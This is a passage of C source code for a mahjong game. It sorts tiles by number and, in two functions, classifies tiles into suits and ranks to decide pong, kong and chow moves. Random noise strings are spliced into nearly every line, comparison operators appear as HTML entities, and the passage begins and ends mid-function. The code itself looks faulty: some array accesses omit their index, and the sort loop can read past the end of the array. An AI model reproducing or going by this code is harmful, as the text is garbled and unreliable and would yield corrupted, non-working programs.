, z, }1 \& W) H5 X* l3 b{ int n,j,u;6 B6 L0 d8 Z8 Z
int *lingshi;
5 \7 m% s. q+ u( sfor(n=0;n&lt;me.m;n++)& p8 ~- n7 D* k1 n6 E( e
for(j=n;j&lt;me.m;j++)
7 o3 p- X- K1 Z{
3 d5 u! n& [8 f8 aif(me.pp[n].number&gt;me.pp[j+1].number)3 r8 W. _, u$ i6 L
{
% q  ]0 G6 Z7 {- ~, K- Slingshi=me.pp[n].k;5 Z! _0 r! ^) \- E2 a2 @
me.pp[n].k=me.pp[j+1].k;. L) |. M  |/ g! n1 Q6 q- n( e
me.pp[j+1].k=lingshi;
5 Y4 d' h2 S# G! z& ou=me.pp[n].oneorfour;0 w/ q5 w' U7 Z  h& x3 C/ O) v6 r
me.pp[n].oneorfour=me.pp[j+1].oneorfour;6 X% n% y5 c3 W
me.pp[j+1].oneorfour=u;2 N7 K1 g1 a1 g6 A  K
u=me.pp[n].number;
& m8 N) p* N& b8 T+ m  ?me.pp[n].number=me.pp[j+1].number;
' Y; C2 n+ t; H0 ]# @; z4 M- r1 Qme.pp[j+1].number=u;  p3 L3 C$ t) }: I
}# y5 X7 g+ P7 s* B/ |8 e' y
else
  o6 K# x/ |' h( V* ?if(me.pp[n].number==me.pp[j+1].number)
- O4 T, \9 Y  e# K' x* n1 l: [! xif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
( l& Q* f% B6 q, A! f1 D* p( ^0 \+ a{8 e( o' r2 D4 {# u/ Y  r) B. L
lingshi=me.pp[n].k;: v  K9 Q' s+ B) n
me.pp[n].k=me.pp[j+1].k;0 J; X  T) b: ~; V
me.pp[j+1].k=lingshi;7 \0 h+ k9 c* m; q5 J; K1 C4 d
u=me.pp[n].oneorfour;
4 Y, c9 Y' D+ @& M& }2 yme.pp[n].oneorfour=me.pp[j+1].oneorfour;
, @6 b, R+ t, p8 |6 U7 I5 gme.pp[j+1].oneorfour=u;2 k0 L) o* F" R: E% v
u=me.pp[n].number;" o# w' r! B6 e+ D4 n& f
me.pp[n].number=me.pp[j+1].number;
- g3 Y* v) m2 m) Q9 n' |8 i( o! t5 Nme.pp[j+1].number=u;) T7 [5 _2 e0 |  O
}
, |: t: X) e( _( S0 E: K' X}
. ^- V6 e4 ^8 P. X& N/ s}1 @+ U, M- t5 b( _& a
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/- a: I" F: m7 E
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;% U! D* e. y0 L& \; |+ r
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)6 R5 O1 B& t& @+ j
{
. i0 d& w/ F7 b* ]  alogo=1;
6 j( _" P! e. }; B  a6 Z$ pif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
/ s/ {- C9 }/ b4 q# R1 K+ ulogoo=1;
, c* ~" z9 T! ^3 Q5 melse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)- l$ Q" c/ P$ w3 A- @9 K
logoo=2;
: v" {4 ?1 f! c) N; e8 lelse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)) ~: N. ?: D3 m9 K4 X
logoo=3;
+ W7 T& F) ?, k2 Nelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
) T5 e$ K. c- P5 A& T9 B0 h7 y( F0 Wlogoo=4;0 T* H- Y! i, @/ L! T) `9 Z# p
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)5 t- g  Y; `  J! s8 H5 F4 d. x
logoo=5;
- I8 O8 K* N* g1 Aelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
2 i: n( Y8 Z$ e$ {; rlogoo=6;
+ C( [) }6 I  a9 ?3 Lelse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)& t/ |: K: a- P, l8 p5 k- y6 n) x1 T
logoo=7;
) U- ^& ?0 v; zelse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)- `5 V9 ]% \6 a. ^% R( A
logoo=8;
5 J9 W9 g$ N  _2 r* Pelse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)8 J% B( c2 H& r) S" y( G' t
logoo=9;
- y) P1 W, V: D% X}! Q0 u; L3 J; t
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
5 `7 e+ c+ h# ?7 K( t; |( x/ E" [{. y( _3 s4 D  A
logo=2;
# n* m, J9 g7 d6 J) Z; t' T$ F* N/ Pif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)  P: H  `/ f* s& c) F7 E
logoo=1;
5 J& |+ d( g/ x7 M" _+ I2 H2 V  oelse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)# {+ j! }  m% s% H$ T" }
logoo=2;4 e$ b5 c- g# ]7 G% C
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)3 ~9 ^. H: B& z8 ~; ]
logoo=3;
& c, y# J$ G6 j3 Celse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
8 y. g' F# B* P  T# m1 dlogoo=4;
. y$ ?5 I, y$ Q- D% Y8 qelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
& I) Z5 {6 O* hlogoo=5;
5 N$ Q' d: E) W; x: M0 ielse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
5 w* b1 Y; c: k5 f7 ?' ^logoo=6;
8 u' P! A7 L! telse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)1 ^- v- p# n; E
logoo=7;
9 d4 L0 `4 }) i" _5 L" S+ w3 zelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
+ \0 k) S" b( ^  `' i* Ulogoo=8;. d6 M$ u* a1 Q; }1 q$ H& S
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
  I. W$ i$ w/ G' k9 slogoo=9;
9 }7 E) {: R, b}9 a1 Y5 K4 P5 n; z) X" U* T2 G
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)$ H$ y- m) ]7 a: F6 p
{
9 G* n7 @' V0 h, t3 \2 ]" E3 Y& Ologo=3;! I6 w/ E* `3 @. n5 ]) X- I& g
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)8 v' I" C; ~  h" `; E- K" b# }
logoo=1;2 k5 S3 j# n7 \0 O! j2 Z$ _( m' Y
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
# e, i5 |# R4 F1 a. e& N2 q, b8 Wlogoo=2;* u- i2 a$ l3 F* d5 |2 H, w% [
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
) ]* W$ R5 _0 P5 e( Blogoo=3;
+ k; B# Y/ w6 ielse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
; V6 W9 U* e, k/ B# Elogoo=4;  B! g  W0 v, A- J
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
) W& ]: B1 A: A7 Slogoo=5;
; L) @8 U9 H6 |+ f/ Oelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)9 r0 i. C7 {; O
logoo=6;3 T( r1 v4 N) H- g, Q  C  D
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
( w3 M5 H' Q3 y$ X2 F; E+ j4 c- {logoo=7;6 c* l5 P) u# Y" u# ]3 d
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)! E! [" [0 X4 j( S# b
logoo=8;
' o, A0 F7 J% F$ S0 Ielse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)5 S$ x8 \6 a. C" H# r, q
logoo=9;
# h: G* m1 w" Y6 r}
  M/ R7 Q7 Y9 U( A* t9 b* gelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)  o" \. z; p* z
{5 h5 i( x: y0 |6 ^5 n* n
logo=4;$ W& ?3 K2 L1 T/ T4 M1 [5 `
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)# a4 n% I5 D& H) o5 N6 I
logoo=1;7 O: F) I8 ]8 T( L) A& k
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112), n- j0 e5 o' D1 \/ H
logoo=2;) C3 n2 I+ w" [. L) X" J% j$ `
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
, e/ U# C6 _! r$ l) H7 R4 [logoo=3;
( i0 C8 Z6 U# P+ B( t! D, L8 zelse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
2 J2 @3 |% K# q; wlogoo=4;
4 ?/ X3 u7 W: Jelse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)% D0 j# E' k* w: L& @% o! v, w. J
logoo=5;1 W2 b- Y4 m8 i: E6 j
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
$ l' Q8 z2 w: X9 V* Q' A9 Llogoo=6;
- J0 Q. x/ t- D( ]' S2 ?* ]( Zelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
. u  p# I/ Z4 O6 C0 k* F& E6 b/ Ulogoo=7;
9 t: F! |) {5 n}
* x$ B( r/ y' O9 Z) F' r% |while(b&lt;=computer.m)
# o. _: s5 C* @. z4 r{$ S; `) L. V' E
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
7 d& `5 v% {4 w: e{
% B' d. U+ j% M1 s6 J, Jlg=1;! q' Q( i$ n+ `: b+ v; ^, \; m- U
computer.pp.d[0]=1;- Y5 W8 ^+ B' q" n: ~/ c. C5 J, m, P
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
2 o: B( V1 z2 P+ q0 c6 T! \5 c; U{
5 G; t& I& n# m# W1 glgg=1;7 }! G, x8 ?; j0 l, E$ J
computer.pp.d[1]=1;3 u6 g: p8 v! V, U; {2 A6 R
}# ?0 B; k8 W# G$ L, q3 I  J
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
. e4 \! i, i' w- ?1 T. T{
! @4 _% h, h! d$ s2 B5 flgg=2;
* U0 f! Z% g5 V4 a# s: k1 u  ]computer.pp.d[1]=2;8 J; I" J% X( [2 I0 f9 c2 r
}3 I) f' @* _" Z0 V. C  u7 b
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)7 Q5 U4 d0 M- N
{  t) X* O3 F: q' o' Y2 y2 [
lgg=3;: j! @7 Y0 v) Q- Q* E+ G
computer.pp.d[1]=3;) G; }8 u* S% G
}
8 F8 s4 N- v' |& H: O: telse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
- A1 D, G( P- x* w{
. N# W8 i9 @% w* plgg=4;7 E2 L- w, j/ S) R+ r* j& D% b
computer.pp.d[1]=4;* A  p8 g- M  e: J9 w1 K: M4 e3 u+ T
}: H9 z/ @' V- @
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16), G( v0 m/ G" [& }3 i" y( T
{
3 e9 ]( @. a" A, J- n  \" o) Glgg=5;: c" _+ N8 L: G& y" g
computer.pp.d[1]=5;: D5 {5 [8 n% t0 U6 W( `0 V8 W
}( B9 X2 d# E) W' P
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)% z% j% h, t  y9 M
{# d! r' Q( G& K' a
lgg=6;
$ x. n  }# i8 ]2 \4 C- tcomputer.pp.d[1]=6;; |0 e9 f1 U: a8 Y/ T# B' E2 q1 v
}
% R$ ^. G( K; k# {" aelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
+ m, z: A: F% p2 M& Z{0 I- ~+ s: e6 H; I- H( [
lgg=7;
0 e" ^7 L; M8 I2 ecomputer.pp.d[1]=7;
" b7 o# b' m9 B$ x* }1 a5 ^* T}' l, @& K2 S# W) B# t  z
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
2 Q: v; D, _6 N, R7 `{
+ f# H) F9 M& H5 ilgg=8;
' `  o9 |6 L( I1 {1 Tcomputer.pp.d[1]=8;
* O6 d: q* m0 ?. K; l}' I7 n1 A& i4 V
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)1 ^+ z4 G& z, l8 K1 Q
{
3 v6 k, [! x4 o7 Vlgg=9;
7 H; G' c" A% t' r+ }8 l+ M; A- icomputer.pp.d[1]=9;: h, J; U8 u0 _4 z$ E
}5 X: h& T1 t" A8 Q" M8 @  ]
}/ N- w7 Q- O: b$ V9 K6 y
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)# ?. d4 o0 N* \( I1 {
{. o- w) b& s& W/ v$ y- u
lg=2;
) I+ d# a' A) D& L# A3 g7 I, b! ~computer.pp.d[0]=2;
  m4 L1 k. S( r; k0 nif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
% |$ m0 i4 E6 ^) D  L{3 k( v, u$ P2 |/ c1 s
lgg=1;1 s$ v5 {1 o4 ]. N, `
computer.pp.d[1]=1;
: P; w2 i" `) x}( u, Q  |1 O/ E2 K) L
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
3 S0 B! j7 K3 t- i* S% H{
" V5 p: U2 T' w9 Q9 `lgg=2;
5 w. u! W4 T. `5 o" tcomputer.pp.d[1]=2;
. d! m* a7 {. K' F+ f5 Y( |- a}
( f  W7 f% S5 oelse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)7 L( _/ L( f2 M' T' k" @
{
9 M. ~+ D+ W% Y) _lgg=3;
5 [# r) R; P" Y/ i7 ^4 [' ^computer.pp.d[1]=3;
& }1 u+ c" o+ M% _* o9 A}' r) m& A- M. J. n
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)7 x; T5 M: u" g' x0 L9 V
{
9 y( A' ~3 q* \) W  K1 }1 g6 Flgg=4;" A. H4 E, q8 ]' o0 r* E
computer.pp.d[1]=4;# j, ^7 ~* y6 b( \2 l& _4 h
}
( s: G5 g' B4 D+ I+ Zelse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)! ^5 a; k) z. h5 P: I- G
{
0 p& L' a3 b2 N9 c6 g1 Hlgg=5;  ^, m7 O/ a. \2 \' o
computer.pp.d[1]=5;
4 Z, `; ^; y7 b& J2 @}5 d. Q# p6 @  F6 [5 T
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)3 [" c- T/ v5 u4 d
{
3 L8 d: g4 O2 v5 |: I2 Glgg=6;) H1 O' e6 d! Q3 \0 i) d
computer.pp.d[1]=6;
1 E3 W' ]1 U2 j+ j* i, p* F; I/ F$ G}
; I- I( Z2 ]6 Q1 h$ }else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)" j) B$ z. L, V% x% |% j" R3 ?
{
( c- K) G6 {" K" j3 l3 _, v# K6 M' wlgg=7;' x- N( X  d/ Q4 }# G3 r
computer.pp.d[1]=7;
5 l# R, u5 ^: D6 l}: p& f( W+ C" y* |% ^
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
) u; c5 L' Z4 T0 z6 ~& D( Q{
: e; d5 ~4 B  u. P4 B' @' [lgg=8;# _/ f6 b- k4 L+ z) s9 q8 W9 E
computer.pp.d[1]=8;6 i' {$ W) Q3 C+ ?, z. f6 s8 u2 D$ ~
}
- t! k. W3 A# {5 [3 j. s7 [8 |else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
7 U8 H( X1 a& s# O, A{$ U/ [+ Q. Q1 Z4 J# M8 a
lgg=9;
6 n9 v' t8 b  x4 W; k) xcomputer.pp.d[1]=9;
# @( P  q) T2 g}
! u3 R3 f" k5 O$ J0 m! C' h, p}8 m+ [9 q# d+ o, g# U
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
& _3 S$ G% ]: q/ Q( P  ?1 s( K{
- D) C8 T- u8 [lg=3;% s8 M( b+ [# {( O
computer.pp.d[0]=3;
* ]6 P) b" `% F5 v( R+ vif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
& [' k$ A1 @, E, K. i{
5 U, V0 E" t+ g2 {lgg=1;% L1 P; j7 Y1 \8 |. w; ^% f
computer.pp.d[1]=1;
2 f  z- e, _9 {* N}
" \$ O- o7 M1 B- T+ velse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
7 p8 G% U: I0 y7 I; A7 q4 n{6 ?4 H& ~9 G# G) ^# M
lgg=2;
8 l$ u2 `" q% }2 W* W9 L$ O( Y7 S8 dcomputer.pp.d[1]=2;
9 N0 N- N4 t* x' w- s}
4 y5 v" P; j; T& v# V& V% K9 k) Welse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80); L9 e5 z9 Y* q5 S. l5 T. P6 D3 c  v
{1 A5 X/ k. I& X# H% X  Y' n
lgg=3;/ e$ Z& k+ v! u# B
computer.pp.d[1]=3;
5 t; z3 k- o; T$ e- I8 M}
9 t: s( P& F" Aelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)8 A& n: K1 s2 Y, [
{
6 C" R0 t( M; Ilgg=4;
# b0 M/ M5 {2 T: s2 d+ |computer.pp.d[1]=4;
/ f7 s3 J6 L5 J2 s) E/ ?8 J9 S! J}
% E0 x3 a! r' q! e4 c& b. F0 velse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
4 j3 u) n  a% h, ?0 [4 ^8 G, ]{
- b3 O( o9 y0 h8 ]5 [" D% _lgg=5;
: C' `  V& Z. i" H1 b0 I' ]computer.pp.d[1]=5;
! g* ~7 q# T8 m$ M/ A' m}
1 V- a5 ~& B; n% jelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
4 f( \; p2 J0 a& J7 o% r{
; X0 e! x  N% R# r) Qlgg=6;! c# _6 ^; w$ q8 b* U
computer.pp.d[1]=6;  H% e7 D- J" y' D8 r; ^- |; R; r
}
, M2 n- U; y  U8 F- F* Lelse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96), _2 w( z% E) V, O
{
. y( `: }9 f% h1 V; jlgg=7;
- i9 d- Y# Z0 |3 V' z  Y! j+ z# Kcomputer.pp.d[1]=7;* p& P5 Q2 P- I2 @; E3 A: H' K
}
' ]3 Q3 S; B$ Q, s; z, q( k) Delse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
2 D; ?+ e  `! A2 e8 E3 H) S! l8 _3 H{: q9 p$ c6 C. v4 y3 a  H& B
lgg=8;% H( N9 d5 A$ E
computer.pp.d[1]=8;4 [- f# J) U2 R* ~
}
0 W9 _9 r) `! ~( U. C9 {else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
, ^) b7 X5 J3 p, R- I) u+ G+ p- h{
9 }* D" E# p8 m; m5 [* ^) E1 rlgg=9;
# x! V* v6 b3 X. Q, |' Wcomputer.pp.d[1]=9;
6 W$ _  C7 l9 Z* `4 P& t+ u* P' f% T}6 E" a9 `6 F. E
}7 @) Z* h9 i, w# l3 I
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
: v5 i. p9 ]5 A" Y$ ~) y  I{
+ F( [$ ~% M2 _* _% g/ R* s0 slg=4;
1 f& [  Z. v) ^computer.pp.d[0]=4;
+ _6 s4 K/ F5 q/ gif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)& x: O8 ]# E1 ?  H& d
{5 a2 J- ^7 |& J. |- P
lgg=1;
# o" Q4 i, f/ L. |$ Ycomputer.pp.d[1]=1;
8 B7 Q" F$ ~; \1 E! P4 Q}
, d1 M7 O& b: M7 oelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)* K2 ]2 o  H& l8 \
{" Q7 C7 o5 J3 n0 ]
lgg=2;' g  T2 N( [. D, `2 W/ S
computer.pp.d[1]=2;8 d- J2 @. K- y& {0 ]+ ^8 }/ U
}
9 K- f/ g/ G# t7 t) n) Uelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
. L- U4 D: A5 z7 v7 \' B{# R# c  S$ B" c; _! [  w8 [
lgg=3;
, `8 d: M' v3 w( c3 V  ^8 Q+ Tcomputer.pp.d[1]=3;
2 @2 p4 r" Y2 y/ @* w) W}
* G; R/ E" z7 i: oelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
, m3 {* x5 U2 L7 C( {6 v! ]{
) F9 J% w  A. g" z& Mlgg=4;  n  a) t0 Z, A8 Y! w" p( R
computer.pp.d[1]=4;- p- c* n2 `1 p0 j2 q
}
# O, n) d9 b8 }: b# o, delse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124), ?5 r2 {* |! M4 Y
{! y# A  G2 e9 S/ u8 U
lgg=5;3 P/ x$ }$ K2 W3 q# w8 S
computer.pp.d[1]=5;- X" w7 m& f) L7 [5 ?
}
) E6 e0 [9 q: {8 X# Belse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)! G0 l+ K, |: F; s- E$ I8 J/ U# V: `
{% p- e5 U1 a8 N; M+ n8 F) B) h$ @
lgg=6;/ x8 u7 }5 {! f8 u. z9 E
computer.pp.d[1]=6;* u! Z8 r1 r+ D" f1 r1 d* t
}
) s6 U; G9 T" D1 I: Welse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
. c, `' A$ X+ r{
% t% L" p6 a! Z4 T9 O" ylgg=7;
8 b) D2 X1 ~- R( A& N* }& tcomputer.pp.d[1]=7;
7 Y# J' `2 f! V/ g" y}
  p# n$ L6 q1 ~+ @2 a( Y# Z) }. ~}$ c5 Y: f) m9 V8 |$ `
9 a) U' x/ t, Y5 r
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/. l, Y2 c. Y, f; U
if(logoo==lgg)1 S& K$ m- r# ]$ Z) [
pg++;
( O- Q' f- ]) p$ v7 Wch.lg=lg; /*保存电脑手里的每张牌的信息*/
' g( d9 @) [- Lch.lgg=lgg;
9 Q: T9 ~: u1 F/ {% Z& a/ ?% d% v3 alg=0;2 |" ^9 U" J* q& G+ B# W
lgg=0;
$ f, B) N3 v) {. M! d) c+ Ob++;
* S8 b/ T' x6 ^$ u- O& c}6 j3 L/ P) c9 @
if(pg==2) /*乓*/
8 J- N- V: O1 }5 t5 f) B/ R{
, W+ P, W6 }! Q# u0 s4 R; e0 F3 E" ?) n8 b* Q0 a0 ?
sing=1;
. ^7 q! U/ L. C& Kb=computer.m;. i$ q- b3 [7 m: R1 e# C) J. a
while(b!=-1)
7 d( G3 K* l- ~, C  C* k6 v2 Z{
  W: R9 S( [, _8 I; Rif(strcmp(me.pp[c].k,computer.pp.k)==0)6 k* z, O1 p; r* f; Q* {) N
computer.pp.p=1;! B$ W" B* R5 p" V1 S

9 T2 E; c5 r, j, |b--;
6 V- W8 ]8 E6 u- s, Z}
8 M8 D7 e* a+ q2 j0 H}
* L% L2 R' P6 @$ v# v+ u0 f: cif(pg==3) /*杠*/, [$ R9 C% Z& A  A  n
{
; j! q5 @6 M! ]* {" c: Z+ [  x; z6 q( {3 o# m3 S
sing=2;! Y! ]- a# h* F7 P4 F
b=computer.m;
$ C/ N6 e$ T) J3 t* u% Awhile(b!=-1)
1 l& f/ Z5 ~; G4 F- ~{
* `+ s/ T% K" P0 u2 Iif(strcmp(me.pp[c].k,computer.pp.k)==0)
2 I9 V. Q) e' ?3 T/ J* l# I& f; Gcomputer.pp.g=1;5 R$ V! l- f# P
b--;! u4 O" O% d: i+ t0 X; x  R0 ~
}( b2 m5 t) D, ]  ~# g8 w, u7 P
}
, G" u" Q! y' }8 sf=0;
2 a  P8 m$ f: h6 D/ `+ Dwhile(f&lt;computer.m) /*吃的判断*/
/ v8 q4 E1 M: }. Y0 w% s3 k{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4): `+ I1 u* ^4 C3 }0 P% g  t; f  x
{
1 i: Q% Y! K7 w- _! n6 [' Oif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
$ V# z; I/ R! Vif(ch[f].lgg-logoo==1)& S# B$ |# l; ?2 \7 Y$ H
{
8 Y0 _9 l9 x/ L& M5 h$ igp++;, W) }0 @! ?6 Z# J
computer.pp[f].c=1;
2 k$ G4 y2 I, `3 [% Wcomputer.pp[f+1].c=1;
# j% b2 Y2 f: ^, G/ ?; Y; r5 ~9 }}
5 C" I* J: C7 Z. @if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/6 T! c- d9 I5 ]2 I" f
if(ch[f+1].lgg-logoo==-1)
8 |" U' Y8 o, G5 d" l5 K{
" V1 i- |) u. kgp++;
5 j! d0 ~2 e6 V  V  D- b8 Fcomputer.pp[f].c=1;1 I! h5 q2 R7 ^2 }0 s
computer.pp[f+1].c=1;, J  F0 `* W; D# ^, m
}
! S- z: L7 N5 q9 I* Wif(ch[f].lgg-logoo==-1) /*中吃*/; K  F* A0 R9 }. l' b, r8 ?
if(ch[f+1].lgg-logoo==1)
0 x' C3 |* k" |# r% v# q1 s# b{7 N7 C8 }5 B5 ^% D* g4 E% B, q# g; Z  \
gp++;
0 k: |! i( T% A3 G& E. Gcomputer.pp[f].c=1;1 V5 [* t. @) ]$ i1 o5 B" q
computer.pp[f+1].c=1;
2 H' P! d! R& A5 ~- u}
0 R3 K3 B' q, b( \# F4 Z! ?' Q: Yif(gp==1)
8 ?& z: o8 O% ?3 D( V2 ^break;
! v6 C; k9 U0 Y/ Y}
+ D$ D% ], C& y0 f( @& xf++;/ N( z, ^$ E0 F* l+ Q
}$ d/ f% v. ?! F$ U( A& q
if(gp==1)  G! ^+ P+ j% Q0 ?3 f
{sing=7;7 h6 u6 r2 D# H6 l, M) u" u; @( c
  S# [% ]+ s/ ~5 _1 h* V2 L
}
5 ]* N& H4 D7 H/ ?7 bpg=0;% Y# u3 g  n7 H& t& Z
gp=0;
! q: l+ C7 m7 [+ i$ I$ `b=0;
, N8 e4 a/ N$ N$ T* ?& p: q}! n' b" C6 u- B5 l
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
6 w$ s: Q/ t6 I{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
) N/ }* d1 q0 U6 i2 I3 G8 mif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)% f! A* s& D( x4 ~% [/ q
{
' J& p4 }! w; _3 llogo=1;
2 f$ a$ V$ u1 @/ ]if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)# k$ O( `/ o0 C- Y6 G
logoo=1;; ^( ?; a( r. n1 Y; k7 ~6 H/ P# \
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
' |" X+ x0 e0 [6 elogoo=2;
6 R8 _/ X$ o4 u* _$ k  Q& R& u1 ]else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
- h+ m: h; q  Z5 ~' u- clogoo=3;: \; o5 S2 X1 n% r
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
! @& j4 D6 O5 G* J: Qlogoo=4;
8 C1 ]- E1 e3 K) y- v# g0 Welse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
. B# c% a/ L$ m0 z" `6 Slogoo=5;2 U9 K1 [9 x/ X. y3 W6 j
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)7 R* `0 K  c2 P; `) E. b
logoo=6;9 h6 O/ |7 L. \& R& J0 @
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
( d" x0 o8 a' T1 f+ s9 a4 N4 _logoo=7;
/ E- ^9 T! g3 w$ ~* f% T) D, S/ pelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
7 ^- P4 u& V8 e4 Vlogoo=8;" x0 k! T# }, q: M: ^
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)& X) G9 t: f3 _5 p2 o1 o9 J7 }. `
logoo=9;
) X" U  I: {5 Q( E1 `2 [}7 ~! {# r( {: d' w
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
0 e! p% V3 A3 O& f$ H) x{
9 j% T' M2 _5 I, g# V- {logo=2;& C3 z7 ]! u& k  M) ]9 I
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
8 D0 ^7 C+ |3 M8 p* Llogoo=1;5 r; r3 X. _+ @6 N8 @9 H
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
, Z5 h' o/ _" [! {& Slogoo=2;
( n5 H6 S, o# z$ v7 n' Uelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
, v- ]* }, Q  r8 ylogoo=3;
